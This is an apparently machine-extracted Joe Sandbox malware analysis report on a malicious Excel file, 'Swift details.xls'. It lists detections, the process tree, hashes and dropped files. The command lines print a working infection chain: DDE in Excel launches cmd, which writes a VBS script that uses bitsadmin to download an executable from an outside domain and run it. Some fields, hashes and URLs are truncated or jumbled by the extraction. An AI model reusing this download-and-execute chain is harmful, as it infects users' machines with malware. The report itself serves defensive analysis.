ID: Sample Name: Swift details.xls Cookbook: defaultwindowsofficecookbook.jbs Time: 17:14:48 Date: 21/06/2018 Version: 22.0.

Transcription

1 ID: Sample Name: Swift details.xls Cookbook: defaultwindowsofficecookbook.jbs Time: 17::48 Date: 21/06/2018 Version:

2 Table of Contents Analysis Report Overview Information Detection Confidence Classification Analysis Advice Signature Overview AV Detection: Software Vulnerabilities: Networking: Stealing of Sensitive Information: Persistence and Installation Behavior: System Summary: HIPS / PFW / Operating System Protection Evasion: Anti Debugging: Malware Analysis System Evasion: Hooking and other Techniques for Hiding and Protection: Language, Device and Operating System Detection: Behavior Graph Simulations Behavior and APIs Antivirus Detection Initial Sample Dropped Files Unpacked PE Files Domains URLs Yara Overview Initial Sample PCAP (Network Traffic) Dropped Files Memory Dumps Unpacked PEs Joe Sandbox View / Context IPs Domains ASN Dropped Files Screenshots Startup Created / dropped Files Contacted Domains/Contacted IPs Contacted Domains Contacted IPs Static File Info File Icon Static OLE Info OLE File "Swift details.xls" Indicators Summary Table of Contents Copyright Joe Security LLC 2018 Page 2 of

3 Document Summary Streams Stream Path: \x5documentsummaryinformation, File Type: FoxPro FPT, blocks size 512, next free block index , Stream Size: 4096 Stream Path: \x5summaryinformation, File Type: FoxPro FPT, blocks size 512, next free block index , Stream Size: 4096 Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: Network Behavior Code Manipulations Statistics Behavior System Behavior Analysis Process: EXCEL.EXE PID: 3412 Parent PID: 2988 File Activities File Deleted Registry Activities Analysis Process: cmd.exe PID: 3520 Parent PID: 3412 File Activities File Created File Written File Read Analysis Process: wscript.exe PID: 3572 Parent PID: 3520 File Activities Analysis Process: cmd.exe PID: 3608 Parent PID: 3572 File Activities Analysis Process: bitsadmin.exe PID: 3632 Parent PID: 3608 Disassembly Code Analysis Copyright Joe Security LLC 2018 Page 3 of 18

4 Analysis Report Overview Information Joe Sandbox Version: Analysis ID: Start time: 17::48 Joe Sandbox Product: CloudBasic Start date: Overall analysis duration: Hypervisor based Inspection enabled: Report type: Sample file name: Cookbook file name: 0h 4m 26s light Swift details.xls defaultwindowsofficecookbook.jbs Analysis system description: Windows 7 SP1 (with Office 20 SP2, IE 11, FF 54, Chrome 60, Acrobat Reader DC 17, Flash 26, Java ) Number of analysed new started processes analysed: 8 Number of new started drivers analysed: 0 Number of existing processes analysed: 0 Number of existing drivers analysed: 0 Number of injected processes analysed: 0 Technologies Analysis stop reason: Detection: Classification: HCA enabled EGA enabled HDC enabled Timeout MAL mal64.evad.expl.winxls@/7@0/0 HCA Information: Successful, ratio: 0% Number of executed functions: 0 Number of non-executed functions: 0 EGA Information: HDC Information: Cookbook Comments: Failed Failed Adjust boot time Correcting counters for adjusted boot time Found application associated with file extension:.xls Found Word or Excel or PowerPoint document Simulate clicks Found warning dialog Click Ok Found warning dialog Click Ok Number of clicks 16 Scroll down Close Viewer Warnings: Show All Exclude process from analysis (whitelisted): conhost.exe, dllhost.exe Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Skipping Hybrid Code Analysis (implementation is based on Java,.Net, VB or Delphi, or parses a document) for: EXCEL.EXE Detection Strategy Score Range Reporting Detection Copyright Joe Security LLC 2018 Page 4 of 18

5 Strategy Score Range Reporting Detection Threshold Report FP / FN Confidence Strategy Score Range Further Analysis Required? Confidence Threshold Classification Copyright Joe Security LLC 2018 Page 5 of 18

6 Ransomware Miner Spreading malicious malicious malicious Evader Phishing suspicious suspicious suspicious clean clean clean Exploiter Banker Spyware Trojan / Bot Adware Analysis Advice Sample has a GUI, but Joe Sandbox has not found any clickable buttons, likely more UI automation may extend behavior Signature Overview Detection AV Vulnerabilities Software Networking of Sensitive Information Stealing and Installation Behavior Persistence Summary System / PFW / Operating System Protection Evasion HIPS Debugging Anti Malware Analysis System Evasion Copyright Joe Security LLC 2018 Page 6 of 18

7 Hooking and other Techniques for Hiding and Protection Language, Device and Operating System Detection Click to jump to signature section AV Detection: Multi AV Scanner detection for submitted file Software Vulnerabilities: Document exploit detected (process start blacklist hit) Networking: Urls found in memory or binary data Stealing of Sensitive Information: Searches for user specific document files Persistence and Installation Behavior: Command shell drops VBS files Tries to download files via bitsadmin System Summary: Potential malicious VBS script found (suspicious strings) Classification label Creates files inside the user directory Creates temporary files Document contains an OLE Workbook stream indicating a Microsoft Excel file Executes visual basic scripts Found command line output Reads ini files Reads software policies Sample is known by Antivirus Spawns processes Uses an in-process (OLE) Automation server Checks whether correct version of.net is installed Found graphical window changes (likely an installer) Checks if Microsoft Office is installed Uses new MSVCR Dlls Binary contains paths to debug symbols Copyright Joe Security LLC 2018 Page 7 of 18

8 Document has a 'vbamacros' value indicative for goodware HIPS / PFW / Operating System Protection Evasion: May try to detect the Windows Explorer process (often used for injection) Anti Debugging: Checks for debuggers (devices) Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation)) Creates guard pages, often used to prevent reverse engineering and debugging Malware Analysis System Evasion: Found WSH timer for Javascript or VBS script (likely evasive script) May sleep (evasive loops) to hinder dynamic analysis May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory) Hooking and other Techniques for Hiding and Protection: Disables application error messsages (SetErrorMode) Language, Device and Operating System Detection: Queries the volume information (name, serial number etc) of a device Queries the cryptographic machine GUID Behavior Graph Copyright Joe Security LLC 2018 Page 8 of 18

9 Behavior Graph Hide Legend ID: Legend: Sample: Swift details.xls Process Startdate: 21/06/2018 Architecture: WINDOWS Score: 64 Signature Created File Multi AV Scanner detection for submitted file Tries to download files via bitsadmin started DNS/IP Info Is Dropped EXCEL.EXE Is Windows Process Number of created Registry Values Number of created Files Tries to download files via bitsadmin Document exploit detected (process start blacklist hit) started Visual Basic cmd.exe Delphi 2 Java dropped.net C# or VB.NET C:\Users\user\Documents\Ou.vbs, ASCII C, C++ or other language started Is malicious Potential malicious VBS script found (suspicious strings) Tries to download files via bitsadmin Command shell drops VBS files wscript.exe 1 Tries to download files via bitsadmin started cmd.exe Tries to download files via bitsadmin started bitsadmin.exe Simulations Behavior and APIs Time Type Description 17:15:47 API Interceptor 3x Sleep call for process: EXCEL.EXE modified 17:16:17 API Interceptor 1x Sleep call for process: wscript.exe modified 17:16:18 API Interceptor 5x Sleep call for process: bitsadmin.exe modified Antivirus Detection Initial Sample Detection Scanner Label Link Swift details.xls 31% virustotal Browse Dropped Files No Antivirus matches Unpacked PE Files No Antivirus matches Domains No Antivirus matches Copyright Joe Security LLC 2018 Page 9 of 18

10 URLs No Antivirus matches Yara Overview Initial Sample No yara matches PCAP (Network Traffic) No yara matches Dropped Files No yara matches Memory Dumps No yara matches Unpacked PEs No yara matches Joe Sandbox View / Context IPs No context Domains No context ASN No context Dropped Files No context Screenshots Copyright Joe Security LLC 2018 Page of 18

11 Startup System is w7 cleanup EXCEL.EXE (PID: 3412 cmdline: 'C:\Program Files\Microsoft Office\Office\EXCEL.EXE' /dde MD5: EDBB91DA84FC2425BFDA957E) cmd.exe (PID: 3520 cmdline: CMD.EXE Set objshell = CreateObject('Wscript.Shell') > Ou.vbs objshell.run 'cmd /c bitsadmin /transfer 8 /download deservesomeacollades.gq/swiftdetails.exe %temp%\ou.exe&%temp%\ou.exe',0,true >> Ou.vbs& Ou.vbs MD5: AD7B9C083B52BC532FBA B98) wscript.exe (PID: 3572 cmdline: 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Documents\Ou.vbs' MD5: 979D74799EA6C8B A68DF5204A) cmd.exe (PID: 3608 cmdline: 'C:\Windows\System32\cmd.exe' /c bitsadmin /transfer 8 /download C:\Users\HERBBL~ 1\AppData\Local\Temp\Ou.exe&C:\Users\HERBBL~1\AppData\Local\Temp\Ou.exe MD5: AD7B9C083B52BC532FBA B98) bitsadmin.exe (PID: 3632 cmdline: bitsadmin /transfer 8 /download C:\Users\HERBBL~1\AppData\Loc al\temp\ou.exe MD5: 0920BAA67A8B04ACF48FFE7C6F0927) Created / dropped Files C:\Users\user\AppData\Roaming\Microsoft\Excel\Swift%20details \Swift%20details((Autosaved )).xls Process: C:\Program Files\Microsoft Office\Office\EXCEL.EXE File Type: 0 Size (bytes): Entropy (8bit): Encrypted: MD5: 18F22BEA830D390A3E269620B17BEF12 SHA1: CA630F74D5EA930D11945F5D7E587FC87 SHA-256: 08FE00745D A370D5AFE6FF2534E703232EE6F9091DB215AF Copyright Joe Security LLC 2018 Page 11 of 18

12 C:\Users\user\AppData\Roaming\Microsoft\Excel\Swift%20details \Swift%20details((Autosaved )).xls SHA-512: Malicious: F D6001C1D740D66FCE60EA88D C807666C986F804B2E191215CF3840C74EB1F615DA70231A9 029C AD173DBB5877AD9F428D7B87 C:\Users\user\AppData\Roaming\Microsoft\Excel\Swift%20details \Swift%20details((Autosaved )).xls Process: File Type: 0 Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: C:\Program Files\Microsoft Office\Office\EXCEL.EXE 9A662FE F4951F38BA09AE 2751B00FC423933B0C90DD8762AFF4C57EE1E4B6 552C1AD326498AB692F702D23D1E8DF0AA72C985F9AC6DBECAF97E60A9F851 2A84CBC0D6FAD49A30FA8A BA89A96706CCEA11124A552C52B9777D2F C131E0B6418E791A BCD5A2A3DF2CDB458CCEB81C7E34E65F7F C:\Users\user\AppData\Roaming\Microsoft\Excel\Swift%20details \Swift%20details((Autosaved )).xls Process: File Type: 0 Size (bytes): Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: C:\Program Files\Microsoft Office\Office\EXCEL.EXE DEC8C ADB317AC99E9E3F06205 DA15954C7AA38D4BE2FBD9AA356715C6A077C7C2 3A4FCBFF2DA8A227E AE0C2FCCEC2E3E87C3E5B8AD55DFD98FC EC61AE72B A4365A023F9A82639A96CAE68F16F3BDB67C019A2620CA11E3A9C57BCE3F70CC7E26 23C6A1B56B7596A933BB7B7E1B65200E2CA968 C:\Users\user\AppData\Roaming\Microsoft\Excel\Swift%20details \Swift%20details.xls.lnk Process: File Type: Size (bytes): 578 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: C:\Program Files\Microsoft Office\Office\EXCEL.EXE MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Archive, ctime=sun Sep 24 13:59: , mtime=sun Sep 24 13:59: , atime=thu Jun 21 15:15: , length=26112, window=hide 3A54BA4CF53FCEF32F3BB16AF4EBCB 9F764AFE78C8FE0C08E2E0F89D07FC5A56ED E E61E0718A0E C91A4BDDE321D83531C630E920C91EB0 AE171795A8DA992BB812BA09830FC45B52C03C64F08B1A022C58D87FC D2446C967E2BBB7E45D518711CF 7EC75F3EBA8D93B1A69DEA13DD2F C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Swift details.lnk Process: C:\Program Files\Microsoft Office\Office\EXCEL.EXE File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=sun Sep :59: , mtime=sun Sep 24 13:59: , atime=thu Jun 21 15:15: , length=26112, window=hide Size (bytes): 2120 Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 9D DC0DA98A81268FB895B055E F5FBE9DF7A3C E4E96D3FCFFEC3F49F62 44D212B580DD5B2FDC333D C7538F78A2B B1978EB05767D F3C980D19AF1C4EFA33344C5E4D922A161F BF11BCB89EB5C3485F34C653DB98D57FC65E50FBC6 D4D117509DD3C52B3D6B31C6E1E645BD7682 C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Process: C:\Program Files\Microsoft Office\Office\EXCEL.EXE File Type: ASCII text, with CRLF line terminators Size (bytes): 77 Entropy (8bit): Encrypted: MD5: A92DB73D62E6F50FD328776EEE367A11 SHA1: B5FC36B4E63FD8D EDD0FFA1FE60782C Copyright Joe Security LLC 2018 Page 12 of 18

13 C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat SHA-256: SHA-512: Malicious: 82C2FF621CD958828C6EEF3EF0C4B8AD EF638A070CBA0B1 56B E2ECBA43302E3FD2239CF071B0E21EC5F4C492D58A27A5FE611E9550BF992237B7A52A894F5AA7 BE55B65D730CC0FD509C173A9A6534CF55AB9 C:\Users\user\Documents\Ou.vbs Process: File Type: Size (bytes): 248 C:\Windows\System32\cmd.exe ASCII text, with CRLF line terminators Entropy (8bit): Encrypted: MD5: SHA1: SHA-256: SHA-512: Malicious: 1D22518F9991EA01797BAFCA163BAB37 6D70EECA60C98909C379C2F76FFEB1B1A18192AB D8681C070B4FB9C49B0E1D11513C9D89E419D197ACFF6AF0905C00E BBA0A880217BB59F7B4B8E9AF328FE2A5B37E3E4E481A501EF96034E7067BDFEF67B087A3E00AEFC1553 6F C2D484DC247DEE CF94F7CD true Contacted Domains/Contacted IPs Contacted Domains No contacted domains info Contacted IPs No contacted IP infos Static File Info File type: 0 Entropy (8bit): TrID: Microsoft Excel sheet (30009/1) 68.18% Generic OLE2 / Multistream Compound File (8008/1) 18.19% Visual Basic Script (6000/0) 13.63% File name: File size: MD5: SHA1: SHA256: SHA512: Swift details.xls 57eaaa0ca0718f65189cb0af39ac1a99 be1542b3f7178ad40c1a45045aa995e758f3e737 4ce2adcc6c53ffa5cb7bfe24c7a15e72aa26ba6a5b34ea5 ebe980d7cc04b02b0 d117908f715ecbca2912f60821bdf236da2ef ac a1f9de678aeaa4b09c919dc f4ecd1bf9f801 e8850af600d c455e8b03469 File Content Preview:...> File Icon Static OLE Info Document Type: OLE Number of OLE Files: 1 Copyright Joe Security LLC 2018 Page 13 of 18

14 OLE File "Swift details.xls" Indicators Has Summary Info: True Application Name: Microsoft Excel Encrypted Document: Contains Word Document Stream: Contains Workbook/Book Stream: True Contains PowerPoint Document Stream: Contains Visio Document Stream: Contains ObjectPool Stream: Flash Objects Count: 0 Contains VBA Macros: Summary Code Page: 1252 Author: FRANK PC Last Saved By: FRANK PC Create Time: :19:46 Last Saved Time: :19:49 Creating Application: Microsoft Excel Security: 0 Document Summary Document Code Page: 1252 Thumbnail Scaling Desired: Company: Contains Dirty Links: Shared Document: Changed Hyperlinks: Application Version: Streams Stream Path: \x5documentsummaryinformation, File Type: FoxPro FPT, blocks size 512, next free block index , Stream Size: 4096 Stream Path: \x5documentsummaryinformation File Type: FoxPro FPT, blocks size 512, next free block index Stream Size: 4096 Entropy: Base64 Encoded: Data ASCII: , P X d l t S h e e t W r k s h e e t s Data Raw: fe ff d5 cd d5 9c 2e 1b b 2c f9 ae c f b c c d c c f Stream Path: \x5summaryinformation, File Type: FoxPro FPT, blocks size 512, next free block index , Stream Size: 4096 Stream Path: \x5summaryinformation File Type: FoxPro FPT, blocks size 512, next free block index Stream Size: 4096 Entropy: Base64 Encoded: Data ASCII: O h '.. H \\ p F R A N K P C F R A N K P C M i c r o s o f t E x c ` Data Raw: fe ff e0 85 9f f2 f9 4f 68 ab b 27 b3 d a c c d a e e c Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: Copyright Joe Security LLC 2018 Page of 18

15 Stream Path: Workbook File Type: Applesoft BASIC program data, first line number 16 Stream Size: Entropy: Base64 Encoded: Data ASCII: True O \\. p.... F R A N K P C B..... a = = h C " Data Raw: f cd 07 c e b0 04 c e c e 4b Network Behavior No network behavior found Code Manipulations Statistics Behavior EXCEL.EXE cmd.exe wscript.exe cmd.exe bitsadmin.exe Click to jump to process System Behavior Analysis Process: EXCEL.EXE PID: 3412 Parent PID: 2988 Start time: 17:15:47 Start date: 21/06/2018 Path: Wow64 process (32bit): Commandline: Imagebase: C:\Program Files\Microsoft Office\Office\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office\EXCEL.EXE' /dde 0x2f Copyright Joe Security LLC 2018 Page 15 of 18

16 File size: MD5 hash: Has administrator privileges: Programmed in: Reputation: bytes EDBB91DA84FC2425BFDA957E true C, C++ or other language moderate File Activities File Path Access Attributes Options Completion Count File Deleted File Path Completion Count Address C:\Users\user\AppData\Roaming\Microsoft\Excel\~ar205A.xar success or wait 1 2FD8153C DeleteFileW C:\Users\user\AppData\Roaming\Microsoft\Excel\~ar50C5.xar success or wait 1 2FD8153C DeleteFileW Symbol Old File Path New File Path Completion Count File Path Offset Length Value Ascii Completion Count File Path Offset Length Completion Count Registry Activities Key Path Completion Count Key Path Name Type Data Completion Count Key Path Name Type Old Data New Data Completion Count Analysis Process: cmd.exe PID: 3520 Parent PID: 3412 Start time: 17:16:15 Start date: 21/06/2018 Path: Wow64 process (32bit): Commandline: Imagebase: File size: MD5 hash: Has administrator privileges: Programmed in: Reputation: C:\Windows\System32\cmd.exe CMD.EXE Set objshell = CreateObject('Wscript.Shell') > Ou.vbs objshell.run 'cmd /c bitsadmin /transfer 8 /download details.exe %temp%\ou.exe&%temp%\ou.exe',0,true >> Ou.vbs& Ou.vbs 0x4a5d bytes AD7B9C083B52BC532FBA B98 true C, C++ or other language high File Activities File Created File Path Access Attributes Options Completion Count C:\Users\user\Documents\Ou.vbs read attributes synchronize generic write normal synchronous io non alert non directory file Address Symbol success or wait 1 4A5D3A79 CreateFileW File Written Copyright Joe Security LLC 2018 Page 16 of 18

17 File Path Offset Length Value Ascii Completion Count Address C:\Users\user\Documents\Ou.vbs unknown f 62 6a c 6c 20 3d f 62 6a e c 6c d 0a C:\Users\user\Documents\Ou.vbs unknown 200 6f 62 6a c 6c 2e e d f d 69 6e 20 2f e f 64 6f 77 6e 6c 6f a 2f 2f f 6d f 6c 6c e f c 73 2e a 5c c c 7e 31 5c c 4c 6f c 5c d 70 5c 4f 75 2e a 5c c c 7e 31 5c c 4c 6f c 5c d 70 5c 4f 75 2e c 30 2c d 0a Set objshell = CreateObject("Wscr ipt.shell").. Symbol success or wait 1 4A5D45B4 WriteFile objshell.run "cmd /c bitsadmin /transfer 8 /download ideservesomeacollades.gq /Swiftdetails.exe C:\Users\HERBBL~1\ AppData\Local\Temp\Ou.e xe&c:\u sers\herbbl~1\appdata\ Local\Te mp\ou.exe",0,true.. success or wait 1 4A5D45B4 WriteFile File Read File Path Offset Length Completion Count Address C:\Users\user\Documents\Ou.vbs unknown 1 success or wait 1 4A5DD6CD ReadFile Symbol Analysis Process: wscript.exe PID: 3572 Parent PID: 3520 Start time: 17:16:17 Start date: 21/06/2018 Path: Wow64 process (32bit): Commandline: Imagebase: File size: MD5 hash: Has administrator privileges: Programmed in: Reputation: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\Documents\Ou.vbs' 0xe bytes 979D74799EA6C8B A68DF5204A true C, C++ or other language high File Activities File Path Access Attributes Options Completion Count File Path Offset Length Completion Count Analysis Process: cmd.exe PID: 3608 Parent PID: 3572 Copyright Joe Security LLC 2018 Page 17 of 18

18 Start time: 17:16:18 Start date: 21/06/2018 Path: Wow64 process (32bit): Commandline: Imagebase: File size: MD5 hash: Has administrator privileges: Programmed in: Reputation: C:\Windows\System32\cmd.exe 'C:\Windows\System32\cmd.exe' /c bitsadmin /transfer 8 /download des.gq/swiftdetails.exe C:\Users\HERBBL~1\AppData\Local\Temp\Ou.exe&C:\Users\HER BBL~1\AppData\Local\Temp\Ou.exe 0x4a5d bytes AD7B9C083B52BC532FBA B98 true C, C++ or other language high File Activities File Path Offset Length Completion Count Analysis Process: bitsadmin.exe PID: 3632 Parent PID: 3608 Start time: 17:16:18 Start date: 21/06/2018 Path: Wow64 process (32bit): Commandline: Imagebase: File size: MD5 hash: Has administrator privileges: Programmed in: Reputation: C:\Windows\System32\bitsadmin.exe bitsadmin /transfer 8 /download C:\Users \HERBBL~1\AppData\Local\Temp\Ou.exe 0x bytes 0920BAA67A8B04ACF48FFE7C6F0927 true C, C++ or other language moderate Disassembly Code Analysis Copyright Joe Security LLC 2018 Page 18 of 18